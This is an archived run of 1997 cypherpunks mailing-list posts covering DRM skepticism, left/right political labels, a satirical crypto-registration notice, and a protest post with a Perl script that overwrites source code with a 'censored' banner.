> > digital document (financial newsletter, educational test, minutes from a
> > court proceeding, sensitive health care records, etc.) goes, no matter
> > how it gets there, whether it is used and then subsequently
> > redistributed, etc. the document is always encrypted.  It is never left
> > decrypted and exposed even while it is being viewed.
> 
> They have lost their mind. Since humans are notoriously bad at performing
> decryptions in their head in real time, whatever is sent to the display
> *must* be cleartext. Any competent programmer can grab it at that point.
> 
> -- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"
> 


-- 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 15:15:18 +0800
To: "Brian W. Buchanan" <brian@smarter.than.nu>
Subject: Re: Superdistribution development/release
In-Reply-To: <Pine.BSF.3.96.971203215304.204C-100000@thought.calbbs.com>
Message-ID: <199712040711.CAA27313@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.BSF.3.96.971203215304.204C-100000@thought.calbbs.com>, on
12/03/97 
   at 09:56 PM, "Brian W. Buchanan" <brian@smarter.than.nu> said:

>On Wed, 3 Dec 1997, William H. Geiger III wrote:

>> For practical reason data must be in the clear in memory at some point in
>> time. Also the data must be transferred into some type of peripheral so
>> the user can do somthing with the data (read text off a monitor, print a
>> document, listen to music, ...ect).
>> 
>> This is the biggest failings in these systems. Once the user has the
>> ability to decrypt the data the game is lost. One does not need to break
>> the crypto system as they give you the keys with the product!! 

>Ut oh.  Now the government is going to protect us from the new Horseman,
>copyright violators, by mandating diskless network computers that run
>only government-approved software.  We can't let those awful hackers
>unlawfully disassemble software for the purpose of stealing other data,
>now can we?  After all, it's for the children... and this solves that
>pesky strong crypto problem too.

Yep see Electronics and Computer Science added to the Evil Book Topic
list:

Evil Book Topic List
====================

Chemistry  -- could be used by "Terrorist"
Physics    -- could be used by "Terrorist"
Biology    -- could be used by "Terrorist"
Mathematics -- could be used by "Terrorist" 

Not to mention the fact that if you have any equipment related to any of
these evil topics and you are not a state approved scientist automatically
elevates you to either "terrorist" or drug manufacture if not both.

Basically it is getting to the point where having an IQ greater than 100
is a crime (no doubt generated out of jealousy by those who work for the
State).

One has to wonder how far Edison would have gotten in times such as today.

"Beware the bureaucrats as they do far more damage than all the Hitlers
and Stalins combined."

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a-sha1
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bMAoApXiFRs=
=g7NI
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Dec 1997 14:14:14 +0800
To: cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v0300780cb0ab2a8bef6c@[204.254.21.129]>
Message-ID: <v03007804b0abdab0e172@[204.254.22.237]>
MIME-Version: 1.0
Content-Type: text/plain



Jamie correctly calls my earlier quip about "big government fetishists" a
"shallow" definition of leftist. Obviously it was not meant to be serious;
I didn't think Jamie wanted to explore this issue in any serious way. Based
on his post below, he seems to want to have a reasonable conversation, so I
owe him a reasonable response.

Let me try another take on a few of the issues he raises below.

COPYRIGHT: Clearly not a real left-right split. Rather a battle of
different business interests. There's the content owners, the Hollywood
firms and the software companies, on one side. On the other are companies
like Sony that want you to be able to tape movies and the Baby Bells and
ISPs that don't want to be liable for infringments. Firms like Time-Warner
that own cable companies and content are somewhat split. Lefty/public
interest groups joined by librarians play a role, but the corporations are
the ones driving the debate.

PRIVACY FROM GOVERNMENT: Lefty groups join libertarians and occasionally
some right wing groups (Eagle Forum) here. Their battle is with defense/law
enforcement and (largely) right-wing groups that are ideologically
sympatico. This collection of right-wing groups includes police chiefs,
attys general groups, and columnists like Frank "ban crypto" Gaffney from
the Washington Times. We can be more precise if we break down "privacy from
government" into narrower issues like wiretap, crypto, medical privacy,
etc. Gets more complicated (as you note) when we're talking about balancing
access to gvt info with privacy; journalist groups come down hard for
access.

PRIVACY FROM BUSINESSES: On government regulations designed to "protect
your privacy," you'll see mostly lefties out there crying that the Direct
Marketing Association is the archenemy, and AOL is the demon of cyberspace
because of its privacy policies, etc. Libertarians like CEI and Cato take
free-market position saying that gvt regs do more harm than good. Though
conservative think tanks like Heritage are starting to become more
interested in this. More a battle between lefty/public
interest/privacy/pro-regulatory groups on one side and
businesses/free-market groups on the other.

MICROSOFT: Mostly a battle between business groups: MSFT vs. its
competitors. Libertarians (CEI, Cato) and conservative thinktanks
(Heritage) are opposing antitrust regulations. Lefty/"consumer" groups are
all over this one, of course.

Bottom line: left-right analyses don't give you all the information you
need. A more complex analysis helps; fortunately, some other folks here
have suggested some. Now it's time for me to go to sleep; it's too late to
be writing this stuff. Hope it makes sense.

-Declan


At 22:40 -0500 12/3/97, James Love wrote:
>Lizard,
>
>Don't get me wrong.  I think the right left dichotomy does continues to
>have meaning in some contexts, and when appropriate, it would make sense
>to describe me as left (certainly by some contemporary standards).   I
>just don't think of this is the only way to think about what is going on
>today, and for many issues that I work on day to day, it predicts next
>to nothing, in terms of who supports what.  Here are some examples.  I
>have been working on a very wide range of issues relating to
>intellectual property, since 1990.  I don't really see most of the
>alliances on those issues well defined by a right left dichotomy.  I
>work on a number of privacy issues too.  And I don't think anyone could
>describe the alliances on privacy issues as having much to do with a
>right left dichotomy.  Freedom of Information and right to know issues
>(Ralph Nader was the single most important actor in getting the modern
>FOIA laws) have a very broad constituency.  Access to government
>information over the Internet?  The pro-access coalition is very broad.
>I work on issues relating to pricing of digital telephone services (ISDN
>and various unbundling issues relating to xDSL pricing).  Except for a
>handful of zero government true believers, this doesn't end up being a
>left right issue either.  Should cable be permitted to control DBS
>spectrum?  Not a right left issue.  Should South Africa be permitted to
>import pharmacuetical drugs (parallel imports)?  There are big
>commerical interests lobbying on this, but I don't think of the
>fundemental issues as right left.  I'm certainly on the side of the CATO
>institute on this one.  Is Microsoft engaged in anticompetitive
>practices?  A hot topic, certainly, but the persons who are concerned
>with Microsoft are a pretty broad coalition, in terms of traditional
>ideological labels.
>
>Now, if one sees the burning issue of the day the fight to rid the world
>of government as we know it, maybe right left labels make sense.  By
>defining both the left and the right as groups who advocate increasing
>government control over private actions, you describe what seems most
>important to you.  I found this characterization of "leftists" as
>shallow as Declan's, however.
>
>    Jamie






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 4 Dec 1997 10:19:10 +0800
To: love@cptech.org
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3485ED4B.21881E76@cptech.org>
Message-ID: <199712040101.BAA03648@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




[Can we quit using cypherpunks@toad.com please ... it is no longer the
active list address.  (Substituted cyberpass.net).]

James Love <love@cptech.org> writes:
> > a leftist can best be defined as a big government fetishist. :)
> 
>    A "big government fetishist" is cute, but it seems fairly
> non-specific.  Are moral majority types leftists?  Are the supporters of
> the Department of Commerce leftists?  Are supporters of a bloated
> defense department leftists?  Can't get enough of that CIA funding
> leftists?  IMF supporters are leftists?  FED lovers are leftists? 
> Groups that lobby for higher crop supports are leftists?  S&L bail out
> supporters are leftists?  Supporters of GATT are leftists?  Are
> supporters of more NIH funding leftists?  (how about the PhRMA support
> for this?)  Supporters of aggressive new government programs to define
> (and enforce) new Intellectual Property rights are leftists?
> 
>     I think the term "leftists" must mean something more than "a big
> government fetishist."  Frankly, I know of few persons who are
> consistently advocates of big government, but I know lots of groups,
> many certainly not leftists, who have their favorite government
> programs.

You have a sucking big cancerous growth which is the government, it
provides legalised theft services, and the politicians acts as power
brokers in bartering back the stolen money to special interest groups.
The huge burgeoning unproductive work force which ineptly administers
this monster is a large burden on the economy.

Those persons you describe who inconsistently advocate big government
is natural enough -- they are sucked into the game, they are lobbying
in their special interest groups for some of the stolen loot to be
handed to them.

A leftist is someone who buys heavily into the legalised theft
concept.  Charity taken at the point of a gun is not charity, it is
theft.  And the stolen funds are used incredibly inefficiently, mostly
having the opposite effect to the claimed problem being solved, for
game theoretic reasons.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 4 Dec 1997 08:19:38 +0800
To: cypherpunks@Algebra.COM
Subject: Censorship
Message-ID: <199712040004.BAA14178@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



There are two pieces of code included in this message.  Or, at least,
there would be if I were allowed to express my ideas.  Accordingly,
the first piece of code has been carefully censored.

The second piece of code is a Perl script which does the censoring.
The model is that of a tape which the censor lays across anything
"offensive."

The Perl script has -C and -Perl modes which try to preserve comments.
(They can be fooled, so you should look over the results before
distributing.)  You can also specify the string which is "printed" on
the tape.

The idea is that every time I write a piece of code which I cannot
distribute freely, a censored version will be mailed to appropriate
newsgroups, mailing lists, newspapers, and politicians.

This should have the effect of continually raising and dramatizing the
issue, as well as demonstrating repeatedly how ridiculous it is.

I would hope that some decades into the future we will be able to look
through the archives for these scraps of censored code and find it
amusing.

--------------------------------------------------
CENSORED BY THE UN

/* A reference implementation of SHA1. */

ITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVE
RNMENT CENSORED BY THE UNITED STATES GOVERNME
NT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED ST
ATES GOVERNMENT CENSORED BY THE UNITED STATES

/* Circular left shift operation. */
 GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED 

BY THE UNITED STATES G

OVERNMENT CENSORED BY THE UN
I 
  TED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE
   UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY
   THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORE
  D BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CEN
  SORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT
   CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERN
  MENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GO
  VERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STAT
ES

/* Prototypes */
 GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY TH
E UNITED STATES GOVERNMENT CENSORED BY THE UNITED S

TATES 
G
  OVERNMENT CENSORED 

  BY THE UNITED STATES G

  /* Hash is contained in H array. */
  OVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITE
D

 STATES GOVERNMENT CENSORED BY THE UNITED STATES G
O
  VERNME
  NT CEN
  SORED BY THE UNITED STAT
  ES GOVERNMENT CENSORED BY THE 
  UNITED STATES GOVERNMENT CENS
  ORED BY THE UNITED ST

  /* Initialize H array here. */
  ATES GOVERNMENT CE
  NSORED BY THE UNIT
  ED STATES GOVERNME
  NT CENSORED BY THE
   UNITED STATES GOV

  ERNMENT CENSORED BY
   THE UNITED STATES G
  OVERNMENT CENSORED BY THE UNITED STATES G
    OVERNMENT CENSORED BY THE UNITED STAT
      ES GOVERNMENT CENSORE
    D
     BY TH
      E UNITED STATES GOVERNMENT CENSORED
	 BY THE UNITED ST
	ATES GOVERNMENT CE
      N
      SORED 
	BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE 
	UNITED S
      T
    A

    TES GOVERNMENT 
      CENSORED BY T
    H
    E UNIT
      ED STATES GOVERNMENT CENS
      ORED BY THE UNI
	TED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATE
      S

      /* Handle latest character. */
       GOV
      ERNMENT CENSO
    R
  E

  /* Add padding byte. */
  D BY THE UNITE
    D STATES GOVERNMENT 
    CENS
  O
  RED BY THE UNITED STATES GOVERNMEN
    T CENSORED BY THE UN
    ITED
    
    /* Pad out with zeros. */
     STATES GOVERNMENT CEN
      SORED BY THE 
    U

    NITED STATES GOVERNMENT C
    ENSORED BY THE 
      UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED ST
    A

    TES GO
  V
  ERNMENT CENSORED BY 
      THE UNITED STATES GOVERNM
      ENT CENSORED BY
	 THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNIT
      E

      /* Add padding byte. */
      D ST
      ATES GOVERNMENT CENS
      ORED
   
  BY THE
     UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSO
    RED BY T
  H
   
  /* Pad out with zeros. */
  E UNITED STATES GOVERN
    MENT CENSORED
   

  /* Add length information */
  BY THE UNITED STATES GOVERNMENT CENSORED BY THE 
  UNITED STATES GOVERNMENT CENSORED BY THE UNITED 
  STATES GOVERNMENT CENSORED BY THE UNITED STATES
   GOVERNMENT CENSORED BY THE UNITED STATES 

  GOVERNMENT CENSORED BY THE UNITED STATES GOVERNME
  NT CENSORED BY THE UNITED STATES GOVERNMENT CENSO
  RED BY THE UNITED STATES GOVERNMENT CENSORED BY 
  THE UNITED STATES GOVERNMENT CENSORED BY T

  /* Final block. */
  HE UNITED STATES GOVERN
  MENT CENSORED B
    Y THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNI
  T
E

D STATES GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSO
R
  ED BY THE UNITED STATES GOVE
  RNMENT CENSORED BY T
  HE UNI
  TED ST
  ATES GOVERNMENT CEN

  SORED BY THE UNITED STATE
    S GOVERNMENT CENSORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATES GO
  V

  ERNMENT CENSORED BY THE UNI
    TED STATES GOVERNMENT CENSORED BY THE UNITED STATES
   

  GOVERNMEN
  T CENSORE
  D BY THE 
  UNITED ST
  ATES GOVE

  RNMENT CENSORED BY THE UN
    ITED STATES GOVERNMENT CENSORED BY THE UNITED STAT
    ES GOVERNMENT CENSORED BY THE UNITED STATES GOVERN
    MENT CENSORED B
      Y THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED STATE
    S
   
  GOVERNMENT CENSORED BY THE
     UNITED STATES GOVERNMENT CENSORED BY THE UNITED S
    TATES GOVERNMENT CENSORED BY THE UNITED STATES GOV
    ERNMENT CENSORE
      D BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED ST
    A
  T
  ES GOVERNMENT CENSORED BY 
    THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED 
    STATES GOVERNMENT CENSORED BY THE UNITED STATES GO
    VERNMENT CENSOR
      ED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED S
    T
  A
  TES GOVERNMENT CENSORED BY
     THE UNITED STATES GOVERNMENT CENSORED BY THE UNITE
    D STATES GOVERNMENT CENSORED BY THE UNITED STATES 
    GOVERNMENT CENS
      ORED BY THE UNITED STATES GOVERNMENT CENSORED BY THE UNITED
     
  S

  TATES GOVE
  RNMENT CEN
  SORED BY T
  HE UNITED 
  STATES GOV
E

--------------------------------------------------
#!/usr/local/bin/perl -w

require 5;
use strict;

$main::censor_string = "CENSORED BY THE UNITED STATES GOVERNMENT ";
$main::next_censor_char = 0;
$main::c_mode = 0;
$main::Perl_mode = 0;

sub main {
    my($switch);
    while( $switch = shift(@ARGV) ) {
	if( $switch =~ /^-/ ) {
	    if( $switch eq "-C" ) {
		$main::c_mode = 1;
	    }
	    elsif( $switch eq "-Perl" ) {
		$main::Perl_mode = 1;
	    }
	    elsif( $switch eq "-s" ) {
		if( scalar(@ARGV) > 0 ) {
		    $main::censor_string = shift(@ARGV);
		}
		else {
		    die "usage: censor.pl [-C] [-Perl] [-s censor-string]\n";
		}
	    }
	    else {
		die "usage: censor.pl [-C] [-Perl] [-s censor-string]\n";
	    }
	}
	else {
	    die "usage: censor.pl [-C] [-Perl] [-s censor-string]\n";
	}
    }

    @main::censor_char_list = split(//, $main::censor_string);

    while(<>) {
	chomp;
	if( $main::c_mode && /^\s*\/\*.*\*\/\s*$/ ) {
	    print "$_\n";
	}
	elsif( $main::c_mode && /^(\s*)(\S*.*\S|\S)(\s*\/\*.*\*\/\s*)$/ ) {
	    my($censored) = get_censor_chars(length($2));
	    print "$1$censored$3$4\n";
	}
	elsif( $main::Perl_mode && /^\s*#.*$/ ) {
            print "$_\n";
        }
	elsif( $main::Perl_mode && /^(\s*)(\S*.*\S|\S)(\s*#.*)$/ ) {
            my($censored) = get_censor_chars(length($2));
            print "$1$censored$3\n";
	}
	elsif( /^(\s*)(\S.*\S)(\s*)$/ ) {
	    my($censored) = get_censor_chars(length($2));
	    print "$1$censored$3\n";
	}
	elsif( /^(\s*)(\S)(\s*)$/ ) {
	    my($censored) = get_censor_chars(length($2));
	    print "$1$censored$3\n";
	}
	else {
	    print "$_\n";
	}
    }
}

sub get_censor_chars {
    my($length) = shift;

    my($i);
    my(@char_list);
    for( $i=0; $i < $length; $i++ ) {
	push(@char_list, $main::censor_char_list[$main::next_censor_char]);
	$main::next_censor_char = ($main::next_censor_char + 1) % length($main::censor_string);
    }

    my($censored_string) = join('', @char_list);
    return $censored_string;
}

main();

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Censorship
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
81D2E52A55F1CE8DE45EE05CE477D184E310E2AA
-22DE 22DE
102E6346B81D0F6CA8E8C5272F97AFCC0AFA8D813110CBCB331C217B8A15576252FF2088275FC8F1437CEE2AD8D336AFEC1D2DDBB56CE15D8898E3AE097351537833973840448B2B7B551439455AEADDA5EBC96EC7ABA417F9F3EEA93A060F691BFC1EF3A17BC6BB933523F9C261BA2201BEF38CA014F1E308DD485F520DF2556A23629783277EDAE11A090DB1AA212C0FDE81BEC778600256E830CE6B06223B5D0BD8DEFFF1846F606936BEDFCBFEC3297AECE87B2C6C9D53CF5C6002B56139535FAE1E7D75B2B5F7E7A7465894B3091EDCD2AA4E36C73ECF5F50C413F2184837FB3FE0D751F564E096FBB2F2897F54A7AFC20013442273694E4298F6418C70
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 4 Dec 1997 14:31:06 +0800
To: cypherpunks@Algebra.COM
Subject: Fear of a Random Planet...
Message-ID: <c2b8ac43a1d45871909e4d59f8f788c1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




the following excerpt from tomorrow's WSJ...

{snip}
YELLOW C's NOW AVAILABLE...

Be the first on your block to comply with HR-666/S-7, 
the 'Freedom and Sane Conservation in Social Technology'
(FASCIST) Law, recently signed by Chancellor Clinton...
As you know, new Federal Regulations require all
cryptographers, both professional and amateur, to 
register with the State Department, surrender their 
passports, and sign Form 11065-R (Int'l Travel Prohibition
Ban Consent Decree).  The recent amnesty granted to the
cryptographic community due to the shortage of YELLOW C badges
ends January 1, 1998.  The badges are now available at your
local Post Office, Federal Building, or authorized
Microsoft retailer.

Remember, 'Export a Cryptographer, Go to Jail!'
{/snip}


love and kisses, 

CPL Kaos.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 16:11:33 +0800
To: cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <19971203225059.40910@songbird.com>
Message-ID: <199712040753.CAA27660@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19971203225059.40910@songbird.com>, on 12/04/97 
   at 01:50 AM, Kent Crispin <kent@songbird.com> said:


>On Wed, Dec 03, 1997 at 06:10:32PM -0700, Jim Burnes wrote:
>[...]
>> 
>> Multidimensional political beliefs systems don't hash into the
>> one dimensional left/right axis very well.   The collision
>> rate is too high.
>> 
>> For a somewhat better map at least check out the Nolan chart.
>> 
>> http://www.self-gov.org/lp-quiz.shtml
>> 
>> enjoy
>> 
>> jim

>Interesting.  I was absolutely dead center.

>Centrist 

>Centrists favor selective government intervention and emphasize 
>practical solutions to current problems. They
>tend to keep an open mind on new issues. Many centrists feel that 
>government serves as a check on excessive
>liberty. 

>Your Personal Self-Government Score is 50%. 
>Your Economic Self-Government Score is 50%. 

Your Personal Self-Government Score is 90%. 
Your Economic Self-Government Score is 100%. 

Not a big surprise there though :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 18:02:32 +0800
To: James Love <love@cptech.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3485D7B7.E444A846@cptech.org>
Message-ID: <199712040950.EAA28589@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3485D7B7.E444A846@cptech.org>, on 12/03/97 
   at 05:05 PM, James Love <love@cptech.org> said:

>Declan, apparently having missed the fab 50's, seems to be enjoying his
>use of the "leftist" word lately.  Since this seems to mean quite
>different things to different persons, perhaps Mr. McCullagh can define
>his terms.  What exactly is a "leftist" in 1997, in his opinion?

The Left-Right paradigm is hair splitting on which topics they use in
their FUD campaigns for greater power.

Typical Left FUD
================
EEO
Social Security
Universal Health Insurance
"It takes a village"
Global Warming
"Gay Rights"
Blah, Blah, Blah

Typical Right FUD
=================
NAFTA
GATT
Family Values
War on Drugs
Blah, Blah, Blah


Quite often camps from both the Left and the Right will come together on
various issues. This can become confusing to some and blur the lines
between the two. Once one gets past the FUD spread by members of both
groups one realizes that both groups are STATIST and SOCIALIST. All the
bickering is not over the right and wrong of Unconstitutional State
intervention into the lives of the citizens but over who gets how much of
the pie and who to steal the pie from.

In thinking over the Libertarian Party Political diamond I find it to be
quit flawed. It makes the false assumption that state intervention in
personal matters is independent from state intervention in economic
matters. The two go hand in hand. I consider the following a better
representation:

         C   G  D P R                            L
Statist -|---|--|-|-|----------------------------|--------- Anarchist
         N  

D=Democrat
R=Republican
L=Libertarian
G=Green
P=Perot
C=Russin/Chineese Communism
N=German/Italian/Japanese Fascism

Positioning on the graph represents current party leadership philosophy.
Since these groups philosophies are so close you will find individual
members that will fall on either side of the parties plank but will rarely
fall very far away from it.

An intriguing side note: Libertarian != Anarchist. This is a distinction
that several members of this list have missed. Most Libertarians favor a
limited government kept on a short leash but are unwilling to go as far as
the anarchy of mob rule.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 19:17:02 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971203175851.581C-100000@is-chief>
Message-ID: <199712041107.GAA29227@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.971203175851.581C-100000@is-chief>, on 12/03/97 
   at 06:10 PM, Jim Burnes <jim.burnes@ssds.com> said:

>On Wed, 3 Dec 1997, James Love wrote:

>> Declan McCullagh wrote:
>> > 
>> > Jamie, if you're seriously confused about the differences between
>> > left-wing and right-wing groups I can help educate you, perhaps with a few
>> > rules of thumb. But I suspect that you really don't want a serious answer.
>> 
>>     I didn't think the big government fetish answer was very good.  I
>> don't want to put words in your mouth.  But if you think you can really
>> explain what constitutes a leftist, in your view, I'm ready to read it.
>> 
>>     Jamie

>Man!  Talk about burning bandwidth on politics 101.  The problem is that
>you're both stuck using Orwellian newspeak for political classification. 
>If people only have a single dimension to 
>classify political beliefs then there can't be very many
>beliefs.

>Multidimensional political beliefs systems don't hash into the one
>dimensional left/right axis very well.   The collision rate is too high.

>For a somewhat better map at least check out the Nolan chart.

>http://www.self-gov.org/lp-quiz.shtml

As I stated in my previous post the Nolan chart is flawed. In it's
attempts to be "two-dimensional" it artificially separates interdependent
philosophies. Economic Freedom = Personal Freedom. You can not have one
without the other. The major failings of the socialist is their
unwillingness to accept this fact. A free society can not survive under a
socialist regime any more that a totalitarian society can survive under a
capitalist one.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 4 Dec 1997 12:17:57 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Superdistribution development/release
In-Reply-To: <v04002712b0aba8bd0101@[204.134.5.28]>
Message-ID: <Pine.BSF.3.96.971204051052.9060A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 3 Dec 1997, Robert Hettinga wrote:
> 
> Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the
> digital document (financial newsletter, educational test, minutes from a
> court proceeding, sensitive health care records, etc.) goes, no matter
> how it gets there, whether it is used and then subsequently
> redistributed, etc. the document is always encrypted.  It is never left
> decrypted and exposed even while it is being viewed.

They have lost their mind. Since humans are notoriously bad at performing
decryptions in their head in real time, whatever is sent to the display
*must* be cleartext. Any competent programmer can grab it at that point.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <BrownList@GOPLAY.COM>
Date: Thu, 4 Dec 1997 18:37:00 +0800
To: <cypherpunks@Algebra.COM>
Subject: Brown != Blue
Message-ID: <199712041024.FAA10743@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



Giving you a BROWN reason to complain.

Get busy.  This BrownList is harder to find.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 21:21:30 +0800
To: Jay Holovacs <holovacs@idt.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <1.5.4.32.19971204114530.006ef8dc@idt.net>
Message-ID: <199712041305.IAA30177@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19971204114530.006ef8dc@idt.net>, on 12/04/97 
   at 06:45 AM, Jay Holovacs <holovacs@idt.net> said:


>At 05:16 PM 12/3/97 -0800, Declan McCullagh wrote:

>>
>>Libertarians are self-governors in both personal and economic matters. 
>>They believe government's only purpose is to protect people from coercion
>>and violence.  They value individual responsibility, and tolerate economic
>>and social diversity.
>>

>Interestingly, New Jersey's recent Libertarian candidate (Sabrin) lost my
>wife's vote when his own ads portrayed him as anti choice.

<sigh> Do I really want to start this thread up ....

An intriguing selection of NewSpeak being used here. The forcible ending
of another humans life is wrong (add in the standard caveats for
self-defence). When it is a planed event it is called Murder. No society
in the history of mankind has permitted unrestricted murder of fellow
members of society on such superficial excuses of inconvenience.

To call this murder "choice" just doesn't pass the straight face test. It
is on the same level as calling what the Germans did to the Jews "choice".

>Several members of the religious right also call themselves libertarians.

>Sometimes what is meant is freedom from interference in the market rather
>than real freedom.

While such superficial labeling may make it easier for you and your wife
to sleep at night it has nothing to do with the issue at hand. This is
neither a religious issue nor a left-right issue any more than theft is.

Nothing inconsistent with being a Libertarian and anti Murder.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

